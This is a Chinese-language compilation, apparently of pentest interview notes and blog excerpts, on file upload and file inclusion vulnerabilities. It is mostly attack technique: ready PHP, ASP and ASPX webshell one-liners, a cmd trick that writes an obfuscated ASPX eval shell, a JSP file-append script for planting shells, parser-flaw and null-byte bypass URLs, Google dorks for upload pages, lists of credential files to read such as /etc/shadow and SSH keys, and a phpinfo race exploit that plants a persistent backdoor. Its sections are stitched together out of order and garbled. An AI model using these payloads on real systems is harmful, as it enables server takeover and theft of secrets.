我可以用RandomAccessFile来替代:
这个方法往往需要花很长时间,通过不断的删改来定位被检测的内容,去查阅资料文档来找可以替代的函数或者类。#
4. “曲线救国”#
当我们没办法直接上传shell的时候,可以先上传一些小功能的脚本,比如写文件,cmdshell等等: 然后利用写文件或者cmdshell来写入shell,来达到我们的目的。 比如windows cmd下不换行输入来拆分eval:
>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>>>d:\xxx\dao.aspx set/p=^<%ev>>d:\xxx\dao.aspx
set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(Sys
tem.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>又比如利用之前我们上传的写文件函数,一个字节一个字节的将shell写进去。 先将我们的冰歇shell.jsp拆开:
然后利用之前绕过waf上传的写文件脚本:
<%@ page import="java.io.*" %>
<%
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw");
long fileLength = randomFile.length();
randomFile.seek(fileLength);
randomFile.write(request.getParameter("c").getBytes());
%>参数 f=/shell.jsp&c=结合burp的intruder把冰歇马给写进去:
IIS解析漏洞导致的任意文件上传#
首先比较常见的是客户网站使用的IIS环境来搭建的,一般是IIS+PHP+Mysql数据库组合,或者IIS+aspx+sql2005数据库,IIS存在解析漏洞,当创建文件名为.php的时候,在这个 目录下的所有文件,或者代码,都会以PHP脚本的权限去运行,比如其中一个客户网站,可以将上传的目录改为1.php,那么我们上传的jpg文件到这个目录下,访问的网址是域 名/1.php/1.jpg从浏览器里访问这个地址,就会是php脚本的权限运行。当上传网站木马webshell过去,就会直接拿到网站的管理权限。存在IIS解析漏洞的版本是5.0-6.0版本。
nginx解析漏洞导致的任意文件上传
nginx是静态访问,以及大并发,能够承载多人访问,目前很多网站都在使用的一种服务器环境,简单来讲就是HTTP访问的代理,高速稳定,深受很多网站运营者的喜欢,在 nginx最低版本中存在解析漏洞,可以导致运行PHP脚本文件,漏洞产生的原因是由于php.ini配置文件与nginx配合解析的时候,将默认的后缀名认为是最重的文件名,导致可以 修改后缀名来执行PHP文件。我们SINE安全在渗透测试中发现客户网站开启nginx以及fast-cgi模式后,就会很容易的上传网站木马到网站目录中,我们将jpg图片文件插入一句话 木马代码,并上传到网站的图片目录中。
我们在访问这个图片的时候,直接在后面输入/1.php,就会导致图片文件以php脚本权限来运行了。如下图所示:
apache解析漏洞导致的任意文件上传
apache也是目前使用较多的一个服务器环境,尤其php网站使用的较多,因为稳定,快速,易于PHP访问,可以将第三方的一些开发语言编译到网站中,apache也是存在漏洞 的,尤其在apache1.0-2.0版本中,后缀名判断这里没有做详细的规定,导致可以绕过apache安全机制,上传恶意的文件名。默认是允许多个后缀名进行解析的,如果命名的后 缀名不被apache认可解析,就会向前寻找后缀名,直到后缀名是apache认可的,就会直接解析成功。 该文件上传漏洞使用的条件是需要开启module模式,不是这个模式的上传 不了。我们SINE安全在对客户网站进行渗透测试的时候,首先会改后缀名为apache不认可的,然后POST上传过去,直接运行php脚本。如下图所示:
总的来说导致任意文件上传漏洞的发生也存在于服务器环境中,那么在渗透测试过程中该如何的修复漏洞呢?将IIS版本升级到7.0以上,Nginx版本也升级到最新版本,包括 apache版本升级到2.4以上,在上传功能代码里对其进行文件格式的判断,限制目录的创建,可杜绝以上的问题的发生。
在遭受文件上传类型限制的情况下,可以尝试以下绕过方法:1. 修改文件头:在上传文件时,可以手动将文件头修改成允许上传的文件类型,从而绕过类型限制。例如,将 PHP#
文件的文件头修改成 JPG 文件的文件头,从而上传成功。2. 伪造文件类型:可以尝试伪造文件类型,使上传的文件被误认为是允许上传的文件类型。例如,将 PHP 文件的后缀名#
修改成 JPG,从而绕过类型限制。3. 绕过前端验证:有些文件上传漏洞只对前端进行了限制,如果绕过前端验证,就可以上传任意类型的文件。可以尝试使用开发者工具绕过前#
端验证,或者直接发送 POST 请求上传文件。4. 绕过文件名检查:文件上传漏洞通常会对文件名进行检查,如果文件名包含特殊字符或不允许的文件类型,则会上传失败。可以#
尝试使用不同的文件名或者将文件名进行编码,从而绕过文件名检查。5. 利用其他漏洞:如果上传点存在其他漏洞,可以尝试利用这些漏洞上传文件。例如,如果上传点存在目#
录遍历漏洞,可以直接上传文件到目标路径。需要注意的是,进行文件上传攻击时需要保证自己的行为是合法的,不要进行非法攻击。同时,上传恶意文件可能会给目标带来安#
全风险,应该谨慎操作。#
文件上传漏洞的本质是未对用户上传的文件进行充分的验证和过滤,使得攻击者可以上传恶意文件并在服务器上执行恶意代码。攻击者通常会上传包含 WebShell 的文件, WebShell 是一种 Web 后门程序,可以在受害者服务器上执行任意代码,从而获取敏感信息或者控制服务器。 文件上传漏洞的执行原理是:攻击者通过上传恶意文件,成功地将 WebShell 文件上传到服务器上,并且能够通过访问该 WebShell 文件来执行任意代码。攻击者可以使用 WebShell 文件中提供的命令执行功能来执行任意代码,例如读取、修改 和删除文件等操作,或者通过 WebShell 文件来获取服务器的敏感信息,例如数据库账号和密码等。 出现文件上传还能够执行的原因是,服务器在处理上传文件时未对文件进行 充分的验证和过滤,攻击者可以上传包含 WebShell 的文件,并通过访问 WebShell 文件来执行恶意代码。因此,为了防止文件上传漏洞导致服务器被攻击,需要对上传文件进行 严格的验证和过滤,同时也需要对服务器进行加固和安全配置,从而有效地防止恶意攻击。
文件上传通常使用的是HTTP协议,上传的数据格式是multipart/form-data,其中包括文件数据和其它表单数据。在实际测试中,可以使用诸如Burp Suite、Fiddler、Postman 等工具进行文件上传测试。这些工具可以拦截HTTP请求,方便对上传的数据进行修改和观察,快速定位漏洞。同时,也可以使用一些脚本编写工具,如Python中的Requests 库,可以编写脚本模拟上传数据,进行批量化测试。需要注意的是,进行文件上传测试时需要保证自己的行为是合法的,不要进行非法攻击。同时,上传恶意文件可能会给目标 带来安全风险,应该谨慎操作。
文件上传的点通常在Web应用程序中的文件上传功能。文件上传功能允许用户将文件上传到Web服务器上,然后在应用程序中进行处理。攻击者可以利用文件上传功能来上传恶 意文件,例如Webshell、木马、病毒等,从而实现对Web服务器的攻击。
常见的文件上传点包括以下几个方面:
1.用户上传的头像、图片、文档、视频等文件。这些文件通常存在在Web应用程序中的个人资料、论坛、博客、社交媒体等模块中。
2.管理员上传的文件。这些文件通常存在于Web应用程序的后台管理界面中,例如管理员上传的网站配置文件、数据库备份文件等。
3.第三方文件存储服务。一些Web应用程序使用第三方平台的文件存储服务,例如七牛、阿里云、腾讯云等,攻击者可以通过上传恶意文件来攻击这些服务。
4.Web应用程序中的附件上传功能。例如,企业内部的邮件系统中可能存在附件上传功能,攻击者可以利用这个功能来上传恶意文件。
三、如果有一个文件上传点,你上传一个 1.php,它会自动给你转成 1.jpg,你该怎么办?文件上传#
漏洞对文件上传类型做了限制,除了抓包修改你还有什么思路去绕过?#
四、为什么出现文件上传还能够执行?#
五、文件上传一般使用的是什么码?使用什么工具?#
六、文件上传的点在哪里?#
七、说一下文件上传漏洞需要关注哪些点?#
一、文件上传漏洞#
**文件上传漏洞的原理:**就是未对用户上传的文件进行检查和过滤,导致某些别有用心的用户上传了一些恶意代码或文件(asp、php、jsp等),从而控制了网站。(当文件 上传时,如果服务端的脚本语言没有对上传的文件进行检查和过滤,那假如,渗透者直接上传恶意代码文件,那么就有可能直接控制整个网站,或者说以此为跳板,直接拿下服 务器,这就是文件上传漏洞。)
Web应用程序通常会有文件上传的功能,例如,在BBS发布照片、在个人网站发布压缩包等。只要web应用程序允许上传文件,就有可能存在文件上传漏洞。 上传漏洞与sql注入漏洞相比,其风险更大。如果web应用程序存在上传漏洞,攻击者甚至可以上传一个webshell到服务器上。非法用户可以利用上传webshell,webshell脚本具 有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
一般文件上传的流程如下:
1.存在上传点。#
2.可以上传动态文件。#
3.上传目录有执行权限,并且上传的目录可执行。#
4.可访问到上传的动态文件。#
或者说#
1.文件上传功能能正常使用。#
2.上传文件路径可知。#
3.上传文件可以被访问。#
4.上传文件可以被执行或被包含。#
1 ,前端判断上传文件的类型#
2 ,后端判断文件mime类型 3 ,后端判断文件的后缀名
如果文件上传上传成功了但是未能正常解析,可能是因为上传的文件格式与服务器端设置的解析方式不匹配。在这种情况下,可以尝试以下绕过方法:#
如果服务器禁用了PHP后缀,可以尝试以下绕过方法:1. 伪造文件类型:将PHP文件伪装成允许上传的文件类型,例如将PHP文件进行压缩上传,然后在服务器端解压缩后再执#
行。2. 绕过文件名检测:上传文件时,有些服务器会检测文件名是否包含不允许的字符,可以尝试使用不同的文件名或者将文件名进行编码,从而绕过文件名检测。3. 绕过前端#
验证:有些文件上传漏洞只对前端进行了限制,如果绕过前端验证,就可以上传任意类型的文件。可以尝试使用开发者工具绕过前端验证,或者直接发送 POST 请求上传文件。#
4. 上传到其他目录:可以上传到其他目录,比如上传到图片目录,并且伪装成图片格式,然后通过图片的路径来访问执行。5. 上传到数据库:如果服务器支持在数据库中上传文#
件,可以将文件上传到数据库中,然后通过数据库的方式来执行文件。6. 上传到其他服务器:可以将文件上传到其他服务器上,然后通过远程执行的方式来执行文件。7. 绕过文#
件类型检测:可以尝试修改上传文件的魔数或者扩展名,从而绕过文件类型检测。8. 绕过文件大小限制:可以尝试修改上传文件的大小,或者通过分块上传的方式来上传大文#
件。9. 绕过文件名黑名单:可以尝试使用不同的文件名或者将文件名进行编码,从而绕过文件名黑名单。10. 绕过文件类型白名单:可以尝试上传允许的文件类型之外的文件,或#
者使用压缩文件等方式来绕过文件类型白名单。#
1 、文件上传漏洞原理#
1. 前端选择文件,进行提交。#
2. 浏览器形成POST MultiPart报文发送到服务器。
3. 服务器中间件接收到报文,解析后交给相关后端代码进行处理。
4. 后端代码将上传的文件内容写入到临时文件中(php持有)。
5. 写入到文件中,文件名为提交的文件名或以一定规则生成的文件名。2 、文件上传漏洞存在前提#
3 、防止文件上传漏洞的方法#
八、文件上传上传成功了但是未能正常解析应该如何绕过?说一下文件上传白名单黑名单绕过#
1. 修改上传文件的扩展名:尝试修改上传文件的扩展名为服务器端允许的文件格式,从而绕过文件类型判断。#
2. 修改文件的魔数: 魔数指的是文件开头的几个字节,用于标识文件类型。可以手动修改文件的魔数,使其匹配服务器端支持的文件类型。#
3. 压缩上传文件:可以将上传文件压缩成zip或rar等格式,再上传到服务器上,从而绕过文件类型检测。
4. 绕过文件名检测:上传文件时,有些服务器会检测文件名是否包含不允许的字符,可以尝试使用不同的文件名或者将文件名进行编码,从而绕过文件名检测。
5. 绕过前端验证:有些文件上传漏洞只对前端进行了限制,如果绕过前端验证,就可以上传任意类型的文件。可以尝试使用开发者工具绕过前端验证,或者直接发送 POST 请
求上传文件。文件上传白名单和黑名单是常用的防御文件上传漏洞的方法。白名单是指只允许上传特定类型的文件,而黑名单则是指禁止上传一些特定类型的文件。攻击者可以尝试绕过#
这些限制,例如通过修改文件后缀名、修改魔数等方式。绕过白名单可以尝试上传允许的文件类型之外的文件,绕过黑名单可以尝试使用不同的文件名或文件类型,或者使#
用压缩文件等方式#
九、文件上传如果禁用了 php 后缀应该如何绕过以及黑名单绕过和白名单绕过?说一下 10 种文件上#
传绕过方式#
十、说一下文件上传 00 截断的前提?#
00 截断条件:#
PHP版本小于5.3.4#
php.ini中的magic_quotes_gpc设置为Off
现在的Web应用通常具有文件上传功能,比如上传头像图片、简历等。只要Web应用允许上传文件,就有可能存在文件上传漏洞。
文件上传漏洞危害非常大,因为攻击者可以通过文件上传漏洞向目标网站上传Webshell程序(通常为简单的一句话木马),然后通过中国蚁剑、中国菜刀等工具就可以连接该 Webshell程序,控制目标主机。
常见的文件上传类型
jsp、jspx、asp、asa、aspx、php、php3、php4、exe
文件上传漏洞和解析漏洞经常结合完成攻击,尤其当服务器端使用了白名单进行过滤时。#
在IIS6版本中,当攻击者访问 http://www.test.com/bitsec.php/xxx.jpg 这样的url时,服务器会默认将PHP目录下的文件解析为php文件。因此虽然文件后缀为jpg,但依然 会被作为PHP执行。 在IIS5和IIS6版本中,当攻击者访问 http://www.test.com/bitsec.php;.jpg 这样的url时,服务器会默认不解析“;”后面的内容,因此bitsec.php;.jpg就被作为bitsec.php解 析执行。
在Apache2.2版本以前,Apache解析文件的规则为从右向左开始判断解析。如果后缀名为不可识别的文件类型,就再向左判断。比如 bitsec.php.owf.rar 文件,因为owf和rar都 不是Apache可以识别解析的,因此Apache会将其解析为bitsec.php。
在Nginx 0.8.41到1.5.6的版本中,攻击者可以利用多种方式解析文件。攻击者正常访问 http://www.test.com/image/bitsec.jpg 时,会正常显示图片。但是当攻击者通过下 面的方式进行访问时,就被解析为PHP文件。
攻击者通过浏览器或者其他远程连接工具,连接该后端网页,得到一个命令执行环境,以达到控制目标服务器的目的。#
查看、上传、下载、修改文件,操作数据库,执行任意命令,提权,且webshell隐蔽性特别高,可以穿越防火墙等设备,访问webshell时不会留下日志文件。
常见的一句话木马包括PHP、ASP、ASP.NET、JSP等语言形式。常见的代码形式包括:#
( 1 )利用 00 截断#
因为对文件的上传路径过滤不严格,例:http://xx.xx.xx.xx/files/test.php.jpg ,通过Burp抓包将test.php后面的“.”修改为“0X00”。上传时,当文件系统读到”0X00′′时,会认为文件 已经结束,从而将test.php.j pg 的内容写到test.php中。
十一、文件上传有哪些解析漏洞的文件名?说一下文件上传原理以及修复方式 怎么绕过文件上传的限#
制?#
一、文件上传漏洞原理#
二、文件上传漏洞的危害#
三、文件解析漏洞原理#
1 、IIS5和IIS6解析漏洞#
2 、Apache解析漏洞#
3 、Nginx解析漏洞#
四、一句话木马#
1 、危害#
2 、常见的一句话木马#
3 、上传方法#
http://www.test.com/image/bitsec.jpg/bitsec.php (目录解析)
http://www.test.com/image/bitsec.jpg%00.php (截断解析)
http://www.test.com/image/bitsec.jpg%20\0.php (截断解析)PHP: <?php @eval($_POST['test']);?>、<?php system($_GET['cmd']);?>
//@:表示后面即使执行错误,也不报错
//eval()函数:表示括号内的语句字符串全都当代码执行
//$_POST['test']:表示从页面中获得test这个参数值
ASP: <%eval request("test") %>
ASP.NET: <%@ Page Language="Jscript"%>
ASPX: <%eval(Request.Item["test"],"unsafe");%>( 2 )构造服务器端扩展名检测上传#
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑名单的限制,则不予上传,否#
则上传成功。#
例:将一句话木马的文件名test.php改成test.php.xxx。首先,服务器验证文件扩展名的时候,验证的是.xxx,只要改扩展名符合服务器端黑名单规则,即可上传。另外,当在浏 览器端访问该文件时,Apache如果解析不了.xxx扩展名,会向前寻找可解析的扩展名,即”.php”。一句话木马可以被解析,即可通过中国菜刀连接。
( 3 )绕过Content-Type检测文件类型上传 当浏览器在上传文件到服务器端的时候,服务器对上传的文件Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失效。绕过Content-Type文件类型 检测,就是用Burp截取并修改数据包中文件的Content-Type类型,使其符合白名单的规则,达到上传的目的。
( 4 )构造图片木马,绕过文件内容监测上传shell 一般文件内容验证使用getimeagesize()函数检测,会判断文件是否一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
客户端基于JavaScript代码进行检测,在文件未上传时,就对文件类型进行验证。
对于单纯的客户端校验来说,绕过非常简单,可以通过Burp等抓包工具来完成。攻击者先提交一个满足客户端检测的文件类型,然后通过Burp抓包后再将文件后缀修改为正确的 可执行脚本后缀即可。
服务器端检测一般检测文件的MIME类型是否正确、文件扩展名是否合法、甚至可以监测文件中是否包含恶意代码。#
●校验Content-Type字段(MIME校验) ——>
攻击者可以使用和绕过上述绕过客户端检测相同的方法:抓取数据包,将Content-Type字段的值修改为满足服务器要求的文件类型就可以绕过检测。
●校验文件后缀名 ——>
( 1 )大小写绕过
( 2 )使用不在黑名单但同样可以被解析的后缀,如:phtml、htaccess等
( 3 )利用操作系统对文件命名规则进行绕过,如:test.asp. 、test.php 、test.php:1.jpg、test.php::$DATA等文件名并不符合Windows系统的命名规则,所有Windows系统会 对其进行自动截断,从而实现绕过。
●文件上传目录设置为不可执行。 主要Web服务器无法解析该目录下的文件, 即使攻击者成功上传了恶意脚本文件,服务器也不会受到影响。
●把上传的文件存放在独立的存储上
●使用随机数改写文件名和文件路径。文件上传之后,攻击者需要能访问该文件,如果能够阻止攻击者对文件的访问,同样可以阻止攻击者的攻击行为。如果使用随机数改写文件 和路径,将会极大的增加攻击者的成本。比如PHP中可以通过uniqid( 0 函数生成一个唯一的ID,随后使用MD5对文件名进行重命名,可以防护 00 截断攻击。
后缀名:类型,文件头等#
后缀名:黑名单,白名单#
黑名单验证利用代码编写漏洞尝试绕过,比如后缀名加.jpg.php,抓包加空格,大小写后缀名,循环验证与一次验证单次验证只去除一个字符,可以通过添加多个干扰字符实现 绕过等。
白名单上传可以使用干扰字符绕过,具体看搭建环境版本以及类型#
主流都是使用白名单验证#
#上传抓包可以通过Content-Type:这个类型判断上传文件类型,修改值的内容绕过
例:Content-Type:application/octet-stream修改为Content-Type:image/jpeg
五、文件上传漏洞检测与绕过#
1 、客户端检测#
原理#
绕过#
2 、服务器端检测#
原理#
绕过#
六、文件上传与文件解析漏洞的防御#
十二、任意文件上传绕过黑白名单都有哪些方式?#
文件上传常见验证:#
#黑名单:明确不让上传的格式后缀(asp,php,jsp,aspx,cgi,war)#
#白名单:明确可以上传的格式后缀(jpg,png,zip,rar,gif)#
文件类型:MIME信息#
#每一个图片文件都有一个特定的开头内容,验证方式是通过文件头判定是否为图片文件,可以通过修改文件头绕过#
例:.png格式的为“塒NG”,.gif的为GIF89a
注:PHP代码查找需要知道相应的意思,使用$_FILES[][]验证一般是获取文件的信息然后判断
$_FILES [‘upload-file’][’name’]表示获取上传文件的文件名;
$_FILES [‘upload-file’][’type’]表示获取上传文件的文件类型(image/jpeg)
$_FILES [‘upload-file’][‘size’]表示获取上传文件的文件大小
.htaccess的主要作用就是实现url改写,也就是当浏览器通过url访问到服务器某个文件夹时,作为主人,我们可以来接待这个url,具体地怎样接待它,就是此文件的作用。所有 的访问都是通过URL实现,所以.htaccess的作用非同小可。正因为此,所以一般地网站通过设置.htaccess,通过一个十分友好的url吸引用户进来,然后用.htaccess把用户带到 需要访问的位置。
要想使用这个强大功能,就得开启apache里面的重写模块。
前面的文章中曾经讲到过windows和ubuntu开启 rewrite模块使用.htaccess 。
其实开启模块大体的步骤都是一样的,无论是Windows和linux。
开启重写引擎 :RewriteEngine on
设置重写的根目录:RewriteBase / — 说明 :因为定义了这个文件夹,所以对应的替换就有了一个参照。
匹配所有符合条件的请求:RewriteCond — 说明:RewriteCond 定义了一系列规则条件,这个指令可以有一条或者多条,只有用户拿来的url符合这些条件之后,我们 的.htaccess才开始接待,否则用户就直接自己去访问所需要的目录了。
举个例子,为了能让搜索引擎更多地抓取我们的网页而避免重复抓,我们通常把没有www的域名重定向到www.XXX.com,如下就实现了这个功能:
RewriteEngine On
RewriteCond %{HTTP_HOST} ^nbphp.com$ [NC]
RewriteRule ^(.*)$ http://www.nbphp.com/$1 [R=301,L]
上例便把nbphp.com 重定向到www.nbphp.com
%{HTTP_HOST} 是指取得用户访问的URL的主域名 然后空格后面是一个正则表达式匹配,意识就是说是否是 nbphp.com 。
如果用户访问使用的URL满足所有列出的RewriteCond 提出的条件,那么进行下一步RewriteRule 即开始进行引导,这才开始实现.htaccess文件的重要功能。
同样,前面是正则表达式,用户分析用户的除了主域名nbphp.com之外的URL ,^(.*)$的意思就是所有的内容。 然后空格后面写的是我们引导用户访问的目录,我们带着他走到新 的一个域名上。$1 指的是前面括号里匹配url所得到的内容。
这样就是一个完整的小例子。关于RewriteCond里 如何调用url的某个部分,我们可以参考这篇文章(Apache的Mod_rewrite学习 (RewriteCond重写规则的条件);
推荐一个经典的教程: 正则表达式 30 分钟入门教程#
这个教程的确很简单,看完基本上写一些简单的正则就没有问题了。正则是一个需要长期使用的工具,隔段时间不用会忘记,所以我每次都看一遍这个教程。其实学过之后重要#
的就是一点内容。我简单罗列了如下:#
. 换行符以外的所有字符#
\w匹配字母或数字或下划线或汉字
\s匹配任意的空白符
\d匹配数字
\b匹配单词的开始或结束
^匹配字符串的开始
$匹配字符串的结束
*重复零次或更多次
*重复零次或更多次
+重复一次或更多次
?重复零次或一次
{n}重复n次
{n,}重复n次或更多次
{n,m}重复n到m次
文件头:内容头信息#
十三、htaccess 原理是什么?#
1 、.htaccess文件使用前提#
2 、.htaccess基本语法介绍#
3 、现学现用,学习正则表达式。#
应用替换时,前面第一个()中匹配的内容后面就用$1引用,第二个()中匹配的就用$2应用……#
推荐一个实用的正则在线测试网站 http://www.regextester.com/
我们来分析一下 discuz7.0 搜索引擎优化 htaccess 里面的重写。
RewriteRule ^forum-([0-9]+)-([0-9]+).html$ forumdisplay.php?fid=$1&page=$2
首先加入用户通过 nbphp.com/forum-2-3.html 访问discuz论坛,那么先通过.htaccess过滤,看看是否需要.htaccess引导一下用户,如果满足列出的一系列RewriteCond的条件 那么就进行重写,discuz的没有列出RewriteCond 所以应该全部都进行重写。所以开始进行转写,forum-2-3.html 这个正好符合 列出的^forum-([0-9]+)-([0-9]+).html$ 正则表 达式。并且 $1 为 2 ,$2为 3 ,所以代入后面,即 forumdisplay.php?fid=2&page=3 加上前面的RewriteBase 指定的文件目录,那么就带他到制定目录的forumdisplay.php? fid=2&page=3 。
下面是一些可能用于查找与文件上传相关的Google hacking关键字: 1.inurl:/fileupload 2.intitle:“Index of” inurl:upload 3.intitle:“Upload files” inurl:upload.php 4.intitle:“Uploadify” ext:php 5.intitle:“Plupload - Flash” inurl:“index.php” -github.com 6.intitle:“swfupload” inurl:“upload.php” 7.intitle:“phpMyAdmin” inurl:“tbl_replace.php” 8.intitle:“Index of” “upload.php” 9.intitle:“Index of” “file_upload” 10.intitle:“Index of” “uploadify/uploadify.php”
1 、包含一些敏感的配置文件,获取目标敏感信息#
2 、配合图片马getshell
3 、包含临时文件getshell
4 、包含session文件getshell
5 、包含日志文件getshell(Apach、SSH等等)
6 、利用php伪协议进行攻击
windows常见的敏感文件路径:
Linux常见的敏感文件路径:
十四、Google hacking 使用如何查找文件上传关键字?#
十五、文件包含怎么利用?说一下命令执行原理#
一、利用思路总结:#
二、具体利用方法:#
①包含一些敏感的配置文件#
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数绝对路径:#
../跨目录读取:#
需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:#
http://192.168.136.128:8080/lfi.php?file=/etc/passwd
②配合图片马getshell#
![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE4NTgwMDM4MC0xNjQ5MTIyN
jQ4LnBuZw?x-oss-process=image/format,png)会在当前目录下生成panda.php,密码为PANDA,连接即可![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE4NTg1MzA1OC03NzY3OTY3O
TIucG5n?x-oss-process=image/format,png)#### **③包含临时文件+phpinfo getshell**在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升
级为RCE。**利用方法简述:**在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php\[6个随机字符
\]),文件名可以在$\_FILES变量中找到。这个临时文件,在请求结束后就会被删除。同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$\_FILES变量的内容,自然也包含临
时文件名。在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行
getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。**这个时候就需要用到条件竞争,具体流程如下:**1 、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据2 、因为phpinfo页面会将所有数据都打印出来, 1 中的垃圾数据会将整个phpinfo页面撑得非常大3 、php默认的输出缓冲区大小为 4096 ,可以理解为php每次返回 4096 个字节给socket连接4 、所以,我们直接操作原生socket,每次读取 4096 个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包5 、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出 4096 个字节,所以临时文件此时还没有删除6 、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell**操作过程:****访问存在文件包含漏洞的页面**python2 exp.py 目标ip 8080 100
/var/lib/php/sess [PHPSESSID] /tmp/sess [PHPSESSID]
![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE4NTkyMTQxNS02NDMwNzA5N
DgucG5n?x-oss-process=image/format,png)访问phpinfo页面,确实存在![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDEwOTczOS03MTQ1MDQwM
jYucG5n?x-oss-process=image/format,png)然后利用网上的exp进行利用:![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDEyNzI4NS0xNTkzMzEzN
jM4LnBuZw?x-oss-process=image/format,png)在 189 次请求时,就写入成功了脚本exp.py实现了上述过程,成功包含临时文件后,会利用file\_put\_contents函数写入<?=eval($\_REQUEST\[1\])?>一句话后门到/tmp/g文件中,这个文件会永久留在目标机器
上![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDE0MjIzOC0xMjg4MTk1O
DI4LnBuZw?x-oss-process=image/format,png)然后直接利用蚁剑进行连接即可,密码为 1 :![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDE1MzA2NS0xNDAxMzk2N
TUzLnBuZw?x-oss-process=image/format,png)#### **④包含session文件getshell**session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。**利用场景:**一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中利用条件:**①session文件路径已知**session文件路径位置可以通过phpinfo页面来获取: session.save\_path参数![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDIxNTI0OC0xMDg1NDY0N
TgxLnBuZw?x-oss-process=image/format,png)也可以猜测常见的一些session存储位置:**②且其中部分内容可控制****利用方式:**访问漏洞页面,在参数中构造payload![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDIzMzQzMC0xODE2NzY5N
TgyLnBuZw?x-oss-process=image/format,png)然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDI0MTY3Mi01ODMyMTk0M
zkucG5n?x-oss-process=image/format,png)文件名:sess\_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDI1MTI2NC0yMDYzMjQ5O
Dc3LnBuZw?x-oss-process=image/format,png)index.php?page=/etc/init.d/httpd index.php?page=/etc/httpd/conf/httpd.conf
ssh ‘’@192.168.136.143
